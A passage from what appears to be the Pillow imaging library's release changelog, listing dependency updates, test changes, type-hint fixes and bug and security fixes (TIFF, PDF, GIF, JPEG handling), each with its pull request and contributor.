[#&#8203;9857](https://github.com/python-pillow/Pillow/issues/9857) \[[@&#8203;radarhere](https://github.com/radarhere)] - Update raqm to 0.11.0 [#&#8203;9819](https://github.com/python-pillow/Pillow/issues/9819) \[[@&#8203;radarhere](https://github.com/radarhere)] - Update dependency jpegturbo to v3.2.0 [#&#8203;9840](https://github.com/python-pillow/Pillow/issues/9840) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update github-actions [#&#8203;9845](https://github.com/python-pillow/Pillow/issues/9845) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update github-actions [#&#8203;9842](https://github.com/python-pillow/Pillow/issues/9842) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency mypy to v2.3.0 [#&#8203;9841](https://github.com/python-pillow/Pillow/issues/9841) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency tiff to v4.7.2 [#&#8203;9839](https://github.com/python-pillow/Pillow/issues/9839) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency cibuildwheel to v4.1.1 [#&#8203;9838](https://github.com/python-pillow/Pillow/issues/9838) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency check-jsonschema to v0.37.4 [#&#8203;9837](https://github.com/python-pillow/Pillow/issues/9837) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - \[pre-commit.ci] pre-commit autoupdate [#&#8203;9775](https://github.com/python-pillow/Pillow/issues/9775) \[@&#8203;[pre-commit-ci\[bot\]](https://github.com/apps/pre-commit-ci)] - Update github-actions [#&#8203;9763](https://github.com/python-pillow/Pillow/issues/9763) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency check-jsonschema to v0.37.3 [#&#8203;9756](https://github.com/python-pillow/Pillow/issues/9756) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] - Update dependency cibuildwheel to v4.1.0 [#&#8203;9757](https://github.com/python-pillow/Pillow/issues/9757) \[@&#8203;[renovate\[bot\]](https://github.com/apps/renovate)] ##### Testing - Install test dependencies for benchmarks [#&#8203;10212](https://github.com/python-pillow/Pillow/issues/10212) \[[@&#8203;radarhere](https://github.com/radarhere)] - Upgrade benchmark to Python 3.15 [#&#8203;10197](https://github.com/python-pillow/Pillow/issues/10197) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not install test dependencies in Install step [#&#8203;10205](https://github.com/python-pillow/Pillow/issues/10205) \[[@&#8203;radarhere](https://github.com/radarhere)] - Skip test if OpenJPEG is not available [#&#8203;10204](https://github.com/python-pillow/Pillow/issues/10204) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add further FPX test images [#&#8203;10157](https://github.com/python-pillow/Pillow/issues/10157) \[[@&#8203;radarhere](https://github.com/radarhere)] - Install palette in core image before using directly [#&#8203;10155](https://github.com/python-pillow/Pillow/issues/10155) \[[@&#8203;radarhere](https://github.com/radarhere)] - NumPy now supports Python 3.15 [#&#8203;10134](https://github.com/python-pillow/Pillow/issues/10134) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use `pathlib.Path` to find test images and fonts [#&#8203;10079](https://github.com/python-pillow/Pillow/issues/10079) \[[@&#8203;akx](https://github.com/akx)] - Add some benchmarks for ImageMath [#&#8203;10071](https://github.com/python-pillow/Pillow/issues/10071) \[[@&#8203;akx](https://github.com/akx)] - Mark test_embeddable as xfail on MinGW [#&#8203;10067](https://github.com/python-pillow/Pillow/issues/10067) \[[@&#8203;radarhere](https://github.com/radarhere)] - CI: Fix Docker coverage upload [#&#8203;10054](https://github.com/python-pillow/Pillow/issues/10054) \[[@&#8203;hugovk](https://github.com/hugovk)] - Add support for PyPy3.12 [#&#8203;10047](https://github.com/python-pillow/Pillow/issues/10047) \[[@&#8203;hugovk](https://github.com/hugovk)] - Clean up test_pattern_syntax_error's param ids [#&#8203;10036](https://github.com/python-pillow/Pillow/issues/10036) \[[@&#8203;akx](https://github.com/akx)] - Add benchmark for image equality [#&#8203;10033](https://github.com/python-pillow/Pillow/issues/10033) \[[@&#8203;akx](https://github.com/akx)] - Remove test_empty_image test [#&#8203;9958](https://github.com/python-pillow/Pillow/issues/9958) \[[@&#8203;akx](https://github.com/akx)] - Only run TestFileLibTiff.test_save_many_compressed() on Windows [#&#8203;9944](https://github.com/python-pillow/Pillow/issues/9944) \[[@&#8203;akx](https://github.com/akx)] - Reduce memory used in tests [#&#8203;9993](https://github.com/python-pillow/Pillow/issues/9993) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove test support for libjpeg-turbo 2.0 under Valgrind [#&#8203;9992](https://github.com/python-pillow/Pillow/issues/9992) \[[@&#8203;radarhere](https://github.com/radarhere)] - Enable pytest-xdist when testing wheels [#&#8203;9979](https://github.com/python-pillow/Pillow/issues/9979) \[[@&#8203;hugovk](https://github.com/hugovk)] - Update Ghostscript to 10.8.0 [#&#8203;9972](https://github.com/python-pillow/Pillow/issues/9972) \[[@&#8203;radarhere](https://github.com/radarhere)] - Run tests in parallel with pytest-xdist [#&#8203;9945](https://github.com/python-pillow/Pillow/issues/9945) \[[@&#8203;akx](https://github.com/akx)] - Use python3 in benchmark workflow [#&#8203;9971](https://github.com/python-pillow/Pillow/issues/9971) \[[@&#8203;radarhere](https://github.com/radarhere)] - Adjust package installation in Linux/macOS CI [#&#8203;9954](https://github.com/python-pillow/Pillow/issues/9954) \[[@&#8203;akx](https://github.com/akx)] - Simplify test code [#&#8203;9967](https://github.com/python-pillow/Pillow/issues/9967) \[[@&#8203;radarhere](https://github.com/radarhere)] - Improve test stability [#&#8203;9933](https://github.com/python-pillow/Pillow/issues/9933) \[[@&#8203;akx](https://github.com/akx)] - Do not install PyQt6 dependencies [#&#8203;9955](https://github.com/python-pillow/Pillow/issues/9955) \[[@&#8203;radarhere](https://github.com/radarhere)] - Test ImageChops.offset() with zero-size images [#&#8203;9953](https://github.com/python-pillow/Pillow/issues/9953) \[[@&#8203;espressolee](https://github.com/espressolee)] - Add test for PdfParser linearize_page_tree() [#&#8203;9835](https://github.com/python-pillow/Pillow/issues/9835) \[[@&#8203;radarhere](https://github.com/radarhere)] - Test remap_palette()'s source_palette argument [#&#8203;9867](https://github.com/python-pillow/Pillow/issues/9867) \[[@&#8203;pranjalm37](https://github.com/pranjalm37)] - Remove unexpected characters [#&#8203;9871](https://github.com/python-pillow/Pillow/issues/9871) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add context manager [#&#8203;9864](https://github.com/python-pillow/Pillow/issues/9864) \[[@&#8203;radarhere](https://github.com/radarhere)] - Replace custom test code [#&#8203;9858](https://github.com/python-pillow/Pillow/issues/9858) \[[@&#8203;hugovk](https://github.com/hugovk)] - Run mypy with parallel workers [#&#8203;9861](https://github.com/python-pillow/Pillow/issues/9861) \[[@&#8203;hugovk](https://github.com/hugovk)] - New benchmarks [#&#8203;9832](https://github.com/python-pillow/Pillow/issues/9832) \[[@&#8203;akx](https://github.com/akx)] - Improve benchmark test image [#&#8203;9831](https://github.com/python-pillow/Pillow/issues/9831) \[[@&#8203;akx](https://github.com/akx)] - Use `ubuntu-slim` for lightweight jobs [#&#8203;9846](https://github.com/python-pillow/Pillow/issues/9846) \[[@&#8203;hugovk](https://github.com/hugovk)] - Use `pytest.approx`, `pytest.raises` and `pytest.skip` [#&#8203;9844](https://github.com/python-pillow/Pillow/issues/9844) \[[@&#8203;hugovk](https://github.com/hugovk)] - Remove test support for NumPy < 1.23 [#&#8203;9796](https://github.com/python-pillow/Pillow/issues/9796) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove write method from test [#&#8203;9806](https://github.com/python-pillow/Pillow/issues/9806) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add coverage to tox [#&#8203;9774](https://github.com/python-pillow/Pillow/issues/9774) \[[@&#8203;hugovk](https://github.com/hugovk)] ##### Type hints - Remove type hint for deprecated im.putdata(im.getdata()) [#&#8203;10059](https://github.com/python-pillow/Pillow/issues/10059) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correct ImageOps.crop border type hint [#&#8203;9989](https://github.com/python-pillow/Pillow/issues/9989) \[[@&#8203;lllleolin-max](https://github.com/lllleolin-max)] - Move typing imports under `TYPE_CHECKING` block [#&#8203;9827](https://github.com/python-pillow/Pillow/issues/9827) \[[@&#8203;hugovk](https://github.com/hugovk)] - Convert parallel setting to int [#&#8203;9869](https://github.com/python-pillow/Pillow/issues/9869) \[[@&#8203;radarhere](https://github.com/radarhere)] ##### Other changes - Validate TIFF tag values against libtiff's own field definition before TIFFSetField [#&#8203;10227](https://github.com/python-pillow/Pillow/issues/10227) \[[@&#8203;hugovk](https://github.com/hugovk)] - Take libtiff scanline geometry tags from the image, not tiffinfo/exif [#&#8203;10226](https://github.com/python-pillow/Pillow/issues/10226) \[[@&#8203;hugovk](https://github.com/hugovk)] - Bound retained TIFF tag data by stream size [#&#8203;10225](https://github.com/python-pillow/Pillow/issues/10225) \[[@&#8203;hugovk](https://github.com/hugovk)] - Fix heap buffer overflow in \_tiffWriteProc when saving TIFF to BytesIO [#&#8203;10224](https://github.com/python-pillow/Pillow/issues/10224) \[[@&#8203;hugovk](https://github.com/hugovk)] - Use bit plane row size for P;2L and P;4L rawmodes [#&#8203;10186](https://github.com/python-pillow/Pillow/issues/10186) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Allow floating point constants in ImageMath operations [#&#8203;10218](https://github.com/python-pillow/Pillow/issues/10218) \[[@&#8203;vera-rubin](https://github.com/vera-rubin)] - Correct reusing a palette entry [#&#8203;10084](https://github.com/python-pillow/Pillow/issues/10084) \[[@&#8203;sergioperezcheco](https://github.com/sergioperezcheco)] - Add support for ImageOps invert, posterize and solarize of P images [#&#8203;10174](https://github.com/python-pillow/Pillow/issues/10174) \[[@&#8203;RavSinghChandan](https://github.com/RavSinghChandan)] - Respect explicit BASIC layout in font_variant() [#&#8203;10214](https://github.com/python-pillow/Pillow/issues/10214) \[[@&#8203;iAlturki](https://github.com/iAlturki)] - Improve support for TGA images in P mode with an RGBA palette [#&#8203;10211](https://github.com/python-pillow/Pillow/issues/10211) \[[@&#8203;sungbin1015](https://github.com/sungbin1015)] - Do not lazily import olefile [#&#8203;10213](https://github.com/python-pillow/Pillow/issues/10213) \[[@&#8203;radarhere](https://github.com/radarhere)] - Keep the first of duplicate TIFF tags [#&#8203;10210](https://github.com/python-pillow/Pillow/issues/10210) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use reducing_gap when resizing RGBA and LA images [#&#8203;10208](https://github.com/python-pillow/Pillow/issues/10208) \[[@&#8203;antonsoo](https://github.com/antonsoo)] - Use pen widths when drawing ImageDraw2 shape outlines [#&#8203;10207](https://github.com/python-pillow/Pillow/issues/10207) \[[@&#8203;xiehuanyi](https://github.com/xiehuanyi)] - Run garbage collection after closing memoryview on PyPy [#&#8203;10203](https://github.com/python-pillow/Pillow/issues/10203) \[[@&#8203;radarhere](https://github.com/radarhere)] - Reject TIFFs whose unpacker row is wider than libtiff's decoded row [#&#8203;10201](https://github.com/python-pillow/Pillow/issues/10201) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Write all channels when saving a one pixel wide RGB image as PCX [#&#8203;10113](https://github.com/python-pillow/Pillow/issues/10113) \[[@&#8203;SulimanAbdulrazzaq](https://github.com/SulimanAbdulrazzaq)] - Fix drawing on I;16B images [#&#8203;9982](https://github.com/python-pillow/Pillow/issues/9982) \[[@&#8203;akx](https://github.com/akx)] - Free Threading fixes [#&#8203;10196](https://github.com/python-pillow/Pillow/issues/10196) \[[@&#8203;wiredfool](https://github.com/wiredfool)] - Correct directory name in depends/install_openjpeg.sh [#&#8203;10199](https://github.com/python-pillow/Pillow/issues/10199) \[[@&#8203;radarhere](https://github.com/radarhere)] - Allow ImageOps to create zero dimension images [#&#8203;9673](https://github.com/python-pillow/Pillow/issues/9673) \[[@&#8203;radarhere](https://github.com/radarhere)] - Clarify license of vendored FriBiDi shim [#&#8203;10194](https://github.com/python-pillow/Pillow/issues/10194) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Ignore (0, 0) BMP DPI [#&#8203;10187](https://github.com/python-pillow/Pillow/issues/10187) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not write IFD1 as a tag when converting EXIF to bytes [#&#8203;10188](https://github.com/python-pillow/Pillow/issues/10188) \[[@&#8203;sungbin1015](https://github.com/sungbin1015)] - Reject exporting Arrow arrays from non-contiguous images [#&#8203;10172](https://github.com/python-pillow/Pillow/issues/10172) \[[@&#8203;wiredfool](https://github.com/wiredfool)] - Check WebP canvas size before creating decoder [#&#8203;10190](https://github.com/python-pillow/Pillow/issues/10190) \[[@&#8203;radarhere](https://github.com/radarhere)] - Apply "bits" to saving L mode PNG images [#&#8203;10168](https://github.com/python-pillow/Pillow/issues/10168) \[[@&#8203;radarhere](https://github.com/radarhere)] - Walk PDF page tree iteratively [#&#8203;10185](https://github.com/python-pillow/Pillow/issues/10185) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Allow C comments in XBM headers [#&#8203;10164](https://github.com/python-pillow/Pillow/issues/10164) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Clear TIFF strip and tile buffer beyond previously decoded data [#&#8203;10184](https://github.com/python-pillow/Pillow/issues/10184) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Fix KeyError on missing Interop or MakerNote IFD [#&#8203;10177](https://github.com/python-pillow/Pillow/issues/10177) \[[@&#8203;RavSinghChandan](https://github.com/RavSinghChandan)] - Fix ColorMap length when saving TIFF images with libtiff [#&#8203;10178](https://github.com/python-pillow/Pillow/issues/10178) \[[@&#8203;MohammediYunus](https://github.com/MohammediYunus)] - Raise ValueError for posterize bits outside 1-8 [#&#8203;10173](https://github.com/python-pillow/Pillow/issues/10173) \[[@&#8203;RavSinghChandan](https://github.com/RavSinghChandan)] - Correct "Raw profile type exif" info after exif_transpose() [#&#8203;10145](https://github.com/python-pillow/Pillow/issues/10145) \[[@&#8203;sungbin1015](https://github.com/sungbin1015)] - Raise OSError for truncated or corrupt gzip FITS data [#&#8203;10146](https://github.com/python-pillow/Pillow/issues/10146) \[[@&#8203;RavSinghChandan](https://github.com/RavSinghChandan)] - Improve mmap buffer length check [#&#8203;10147](https://github.com/python-pillow/Pillow/issues/10147) \[[@&#8203;aryangorde6](https://github.com/aryangorde6)] - Speed up ImageChops.difference() [#&#8203;10154](https://github.com/python-pillow/Pillow/issues/10154) \[[@&#8203;SimBuddy](https://github.com/SimBuddy)] - Handle unexpected EOF in JPEG header [#&#8203;10150](https://github.com/python-pillow/Pillow/issues/10150) \[[@&#8203;Kesavamoorthig06](https://github.com/Kesavamoorthig06)] - Correct applying OpenJPEG patch [#&#8203;10171](https://github.com/python-pillow/Pillow/issues/10171) \[[@&#8203;radarhere](https://github.com/radarhere)] - Read from tall PSD tiles safely [#&#8203;10151](https://github.com/python-pillow/Pillow/issues/10151) \[[@&#8203;Kesavamoorthig06](https://github.com/Kesavamoorthig06)] - Raise error when opening if JP2 mode is unrecognized [#&#8203;10135](https://github.com/python-pillow/Pillow/issues/10135) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add Apache-2.0 license header to Arrow\.h [#&#8203;10162](https://github.com/python-pillow/Pillow/issues/10162) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Raise ValueError for XPM pixel data with undefined color key [#&#8203;10149](https://github.com/python-pillow/Pillow/issues/10149) \[[@&#8203;Kesavamoorthig06](https://github.com/Kesavamoorthig06)] - Fix FLI palette OverflowError [#&#8203;10148](https://github.com/python-pillow/Pillow/issues/10148) \[[@&#8203;Kesavamoorthig06](https://github.com/Kesavamoorthig06)] - Replace rgba2rgb convert function with identical rgb2rgba [#&#8203;10169](https://github.com/python-pillow/Pillow/issues/10169) \[[@&#8203;radarhere](https://github.com/radarhere)] - Avoid copying zero-sized image buffers [#&#8203;10158](https://github.com/python-pillow/Pillow/issues/10158) \[[@&#8203;SimBuddy](https://github.com/SimBuddy)] - Speed up histograms [#&#8203;10161](https://github.com/python-pillow/Pillow/issues/10161) \[[@&#8203;SimBuddy](https://github.com/SimBuddy)] - Apply [uclouvain/openjpeg#1621](https://github.com/uclouvain/openjpeg/issues/1621) to address OSV-2025-219 [#&#8203;10156](https://github.com/python-pillow/Pillow/issues/10156) \[[@&#8203;radarhere](https://github.com/radarhere)] - Mark Python palette as dirty after conversion to WEB palette [#&#8203;10008](https://github.com/python-pillow/Pillow/issues/10008) \[[@&#8203;radarhere](https://github.com/radarhere)] - Only load new palette in putpalette() if it contains raw data [#&#8203;10035](https://github.com/python-pillow/Pillow/issues/10035) \[[@&#8203;radarhere](https://github.com/radarhere)] - Only combine PNG frames if the combined duration is still writable [#&#8203;10070](https://github.com/python-pillow/Pillow/issues/10070) \[[@&#8203;radarhere](https://github.com/radarhere)] - Support greyscale TIFFs with ExtraSamples 0 or 1 [#&#8203;10140](https://github.com/python-pillow/Pillow/issues/10140) \[[@&#8203;officialpm](https://github.com/officialpm)] - Avoid repeated concatenation of GIF comments [#&#8203;10143](https://github.com/python-pillow/Pillow/issues/10143) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not change MicImageFile \_n_frames or is_animated in TiffImageFile [#&#8203;10142](https://github.com/python-pillow/Pillow/issues/10142) \[[@&#8203;radarhere](https://github.com/radarhere)] - Require TIFF ColorMap length according to BitsPerSample [#&#8203;10136](https://github.com/python-pillow/Pillow/issues/10136) \[[@&#8203;radarhere](https://github.com/radarhere)] - Assign next PDF object ID in constant time [#&#8203;10133](https://github.com/python-pillow/Pillow/issues/10133) \[[@&#8203;radarhere](https://github.com/radarhere)] - Reject JPEG streams whose scanlines are wider or have more components [#&#8203;10131](https://github.com/python-pillow/Pillow/issues/10131) \[[@&#8203;radarhere](https://github.com/radarhere)] - XMP info will no longer be a tuple [#&#8203;10077](https://github.com/python-pillow/Pillow/issues/10077) \[[@&#8203;radarhere](https://github.com/radarhere)] - Return zero from ImagePath compact() if there are no points to remove [#&#8203;10126](https://github.com/python-pillow/Pillow/issues/10126) \[[@&#8203;radarhere](https://github.com/radarhere)] - Handle zero dimension images in RankFilter and related filters [#&#8203;10130](https://github.com/python-pillow/Pillow/issues/10130) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise an error when calling quantize() with an empty palette [#&#8203;10129](https://github.com/python-pillow/Pillow/issues/10129) \[[@&#8203;radarhere](https://github.com/radarhere)] - \[pre-commit.ci] pre-commit autoupdate [#&#8203;10128](https://github.com/python-pillow/Pillow/issues/10128) \[@&#8203;[pre-commit-ci\[bot\]](https://github.com/apps/pre-commit-ci)] - Set PdfParser default max_nesting limit to 900 [#&#8203;10127](https://github.com/python-pillow/Pillow/issues/10127) \[[@&#8203;radarhere](https://github.com/radarhere)] - Basic support for TSAN Docker builds [#&#8203;10115](https://github.com/python-pillow/Pillow/issues/10115) \[[@&#8203;wiredfool](https://github.com/wiredfool)] - Prevent infinite loop when rewriting PDF pages [#&#8203;10125](https://github.com/python-pillow/Pillow/issues/10125) \[[@&#8203;radarhere](https://github.com/radarhere)] - Check COM marker length when encoding JPEG [#&#8203;10124](https://github.com/python-pillow/Pillow/issues/10124) \[[@&#8203;radarhere](https://github.com/radarhere)] - Delay creating APNG disposal frame until necessary [#&#8203;10123](https://github.com/python-pillow/Pillow/issues/10123) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix combining GIF frames when an earlier duration is missing [#&#8203;10119](https://github.com/python-pillow/Pillow/issues/10119) \[[@&#8203;FanWu-ai](https://github.com/FanWu-ai)] - Limit WMF dimensions when loading to 0-65535 [#&#8203;10120](https://github.com/python-pillow/Pillow/issues/10120) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix use-after-free when a libtiff encode error occurs [#&#8203;10117](https://github.com/python-pillow/Pillow/issues/10117) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not keep size from failed GIF decompression bomb check [#&#8203;10116](https://github.com/python-pillow/Pillow/issues/10116) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correct writing buffer to file in PyEncoder encode_to_file() [#&#8203;10098](https://github.com/python-pillow/Pillow/issues/10098) \[[@&#8203;radarhere](https://github.com/radarhere)] - Improve freeing objects on errors in PyImaging_GrabScreenWin32() [#&#8203;10094](https://github.com/python-pillow/Pillow/issues/10094) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not allow Ghostscript to render beyond decompression bomb limit [#&#8203;10112](https://github.com/python-pillow/Pillow/issues/10112) \[[@&#8203;radarhere](https://github.com/radarhere)] - Read XBM header line by line, instead of through regex [#&#8203;10109](https://github.com/python-pillow/Pillow/issues/10109) \[[@&#8203;radarhere](https://github.com/radarhere)] - Clear core image if mode or size has changed during seek() [#&#8203;10105](https://github.com/python-pillow/Pillow/issues/10105) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not use deprecated getdata [#&#8203;9986](https://github.com/python-pillow/Pillow/issues/9986) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove unused cleanup return value [#&#8203;10101](https://github.com/python-pillow/Pillow/issues/10101) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise OSError when TIFF tile size is unexpected [#&#8203;10100](https://github.com/python-pillow/Pillow/issues/10100) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use set, rather than sorting list [#&#8203;10099](https://github.com/python-pillow/Pillow/issues/10099) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix PSD layer tiles reading from the wrong file offset [#&#8203;10089](https://github.com/python-pillow/Pillow/issues/10089) \[[@&#8203;Arthur031221](https://github.com/Arthur031221)] - Avoid unused object ids when saving PDF [#&#8203;10091](https://github.com/python-pillow/Pillow/issues/10091) \[[@&#8203;Rodrigo-Palma](https://github.com/Rodrigo-Palma)] - Raise an error if PDF page loop exists [#&#8203;10093](https://github.com/python-pillow/Pillow/issues/10093) \[[@&#8203;radarhere](https://github.com/radarhere)] - Return 0 or -1 from ImagingTransform() [#&#8203;10075](https://github.com/python-pillow/Pillow/issues/10075) \[[@&#8203;radarhere](https://github.com/radarhere)] - Transform EPS file name to an absolute path before invoking Ghostscript [#&#8203;10090](https://github.com/python-pillow/Pillow/issues/10090) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fixed passing zero dimension images into fromarrow() [#&#8203;10086](https://github.com/python-pillow/Pillow/issues/10086) \[[@&#8203;akx](https://github.com/akx)] - Add decompression bomb check to grabclipboard() on Windows [#&#8203;10078](https://github.com/python-pillow/Pillow/issues/10078) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add decompression bomb check after SPIDER seek [#&#8203;10076](https://github.com/python-pillow/Pillow/issues/10076) \[[@&#8203;radarhere](https://github.com/radarhere)] - Speed up and simplify GIF optimization [#&#8203;10074](https://github.com/python-pillow/Pillow/issues/10074) \[[@&#8203;akx](https://github.com/akx)] - Only replace a maximum of two Exif headers [#&#8203;10073](https://github.com/python-pillow/Pillow/issues/10073) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use -O2 when building wheels for macOS and Linux [#&#8203;10060](https://github.com/python-pillow/Pillow/issues/10060) \[[@&#8203;radarhere](https://github.com/radarhere)] - Simplify code by removing instance variables [#&#8203;10058](https://github.com/python-pillow/Pillow/issues/10058) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add pathlib support for font handling [#&#8203;10053](https://github.com/python-pillow/Pillow/issues/10053) \[[@&#8203;hugovk](https://github.com/hugovk)] - Clean up encoders deterministically on success and failure [#&#8203;10043](https://github.com/python-pillow/Pillow/issues/10043) \[[@&#8203;danking](https://github.com/danking)] - When saving an ICO frame without a matching size, use the next smallest provided image [#&#8203;10051](https://github.com/python-pillow/Pillow/issues/10051) \[[@&#8203;Rodrigo-Palma](https://github.com/Rodrigo-Palma)] - Remove conditionally-compiled or unreachable debug C code [#&#8203;9915](https://github.com/python-pillow/Pillow/issues/9915) \[[@&#8203;akx](https://github.com/akx)] - Fix OOB read in C getlist() and \_putdata() when **len** overstates length [#&#8203;9893](https://github.com/python-pillow/Pillow/issues/9893) \[[@&#8203;lazerg](https://github.com/lazerg)] - When shrinking in ImageText wrap(), wrap text even if no scaling is required [#&#8203;10025](https://github.com/python-pillow/Pillow/issues/10025) \[[@&#8203;radarhere](https://github.com/radarhere)] - Restrict ImageWin Dib paste box to bitmap [#&#8203;10040](https://github.com/python-pillow/Pillow/issues/10040) \[[@&#8203;radarhere](https://github.com/radarhere)] - extra does not require a spare byte [#&#8203;10046](https://github.com/python-pillow/Pillow/issues/10046) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use borrowed data when exporting an image created by Image.fromarrow [#&#8203;9897](https://github.com/python-pillow/Pillow/issues/9897) \[[@&#8203;lazerg](https://github.com/lazerg)] - Avoid overflow when multiplying integers in RankFilter [#&#8203;10038](https://github.com/python-pillow/Pillow/issues/10038) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not pad PNG palette when saving if bits is specified [#&#8203;10029](https://github.com/python-pillow/Pillow/issues/10029) \[[@&#8203;aclark4life](https://github.com/aclark4life)] - Simplify code [#&#8203;10031](https://github.com/python-pillow/Pillow/issues/10031) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not treat RGB as a rawmode for an RGB palette [#&#8203;10002](https://github.com/python-pillow/Pillow/issues/10002) \[[@&#8203;radarhere](https://github.com/radarhere)] - Rearrange ImagingPoint code [#&#8203;10026](https://github.com/python-pillow/Pillow/issues/10026) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use while loop in read_prev_trailer() to avoid RecursionError [#&#8203;10023](https://github.com/python-pillow/Pillow/issues/10023) \[[@&#8203;radarhere](https://github.com/radarhere)] - Allow zero-length members in tar files [#&#8203;10014](https://github.com/python-pillow/Pillow/issues/10014) \[[@&#8203;hugovk](https://github.com/hugovk)] - Raise ValueError if merging image32 images [#&#8203;10022](https://github.com/python-pillow/Pillow/issues/10022) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correctly manage glyph when rendering font [#&#8203;10020](https://github.com/python-pillow/Pillow/issues/10020) \[[@&#8203;radarhere](https://github.com/radarhere)] - Return early when applying ImageMorph MorphOp to an empty image [#&#8203;10021](https://github.com/python-pillow/Pillow/issues/10021) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not decode more MSP data than necessary [#&#8203;10019](https://github.com/python-pillow/Pillow/issues/10019) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use int64_t for y offset [#&#8203;10017](https://github.com/python-pillow/Pillow/issues/10017) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not decode more BMP data than necessary [#&#8203;10015](https://github.com/python-pillow/Pillow/issues/10015) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise error when creating ImagePalette with unsupported mode [#&#8203;10013](https://github.com/python-pillow/Pillow/issues/10013) \[[@&#8203;radarhere](https://github.com/radarhere)] - Apply hoist optimizations to Geometry.c's transforms [#&#8203;9788](https://github.com/python-pillow/Pillow/issues/9788) \[[@&#8203;akx](https://github.com/akx)] - Allow for IFDRational with negative numerator and zero denominator [#&#8203;8970](https://github.com/python-pillow/Pillow/issues/8970) \[[@&#8203;radarhere](https://github.com/radarhere)] - Offset to next TAR block must be positive [#&#8203;10012](https://github.com/python-pillow/Pillow/issues/10012) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add decompression bomb checks after seek opens new format [#&#8203;10011](https://github.com/python-pillow/Pillow/issues/10011) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise OverflowError if text width goes below INT_MIN [#&#8203;10010](https://github.com/python-pillow/Pillow/issues/10010) \[[@&#8203;radarhere](https://github.com/radarhere)] - Cast before multiplying [#&#8203;10009](https://github.com/python-pillow/Pillow/issues/10009) \[[@&#8203;radarhere](https://github.com/radarhere)] - Simplify palette code [#&#8203;10003](https://github.com/python-pillow/Pillow/issues/10003) \[[@&#8203;radarhere](https://github.com/radarhere)] - Optimize histogram generation + fix masked histograms for 2-band images + add test coverage [#&#8203;10005](https://github.com/python-pillow/Pillow/issues/10005) \[[@&#8203;akx](https://github.com/akx)] - Add escape argument to PSDraw text method [#&#8203;9996](https://github.com/python-pillow/Pillow/issues/9996) \[[@&#8203;lllleolin-max](https://github.com/lllleolin-max)] - Link FreeType against the bundled HarfBuzz in wheels [#&#8203;9913](https://github.com/python-pillow/Pillow/issues/9913) \[[@&#8203;akx](https://github.com/akx)] - Speed up some conversions [#&#8203;9807](https://github.com/python-pillow/Pillow/issues/9807) \[[@&#8203;akx](https://github.com/akx)] - Speed up `Image.getbbox()`; fix it for I;16 modes [#&#8203;9768](https://github.com/python-pillow/Pillow/issues/9768) \[[@&#8203;akx](https://github.com/akx)] - Apply restrict optimizations to ImagingQuantize's output loop [#&#8203;10006](https://github.com/python-pillow/Pillow/issues/10006) \[[@&#8203;akx](https://github.com/akx)] - Speed up `getpixel()` and `get_flattened_data()` [#&#8203;9881](https://github.com/python-pillow/Pillow/issues/9881) \[[@&#8203;akx](https://github.com/akx)] - Mark ImageFile.\_open() as abstract [#&#8203;9876](https://github.com/python-pillow/Pillow/issues/9876) \[[@&#8203;radarhere](https://github.com/radarhere)] - Return 0 or -1 from ImagingSplit(), rather than number of bands [#&#8203;9988](https://github.com/python-pillow/Pillow/issues/9988) \[[@&#8203;radarhere](https://github.com/radarhere)] - If height is scaled down significantly more than width, resize vertically first [#&#8203;9549](https://github.com/python-pillow/Pillow/issues/9549) \[[@&#8203;radarhere](https://github.com/radarhere)] - Compile less libtiff bits for wheels [#&#8203;9970](https://github.com/python-pillow/Pillow/issues/9970) \[[@&#8203;akx](https://github.com/akx)] - Preserve transparency when padding and expanding images [#&#8203;9995](https://github.com/python-pillow/Pillow/issues/9995) \[[@&#8203;lllleolin-max](https://github.com/lllleolin-max)] - 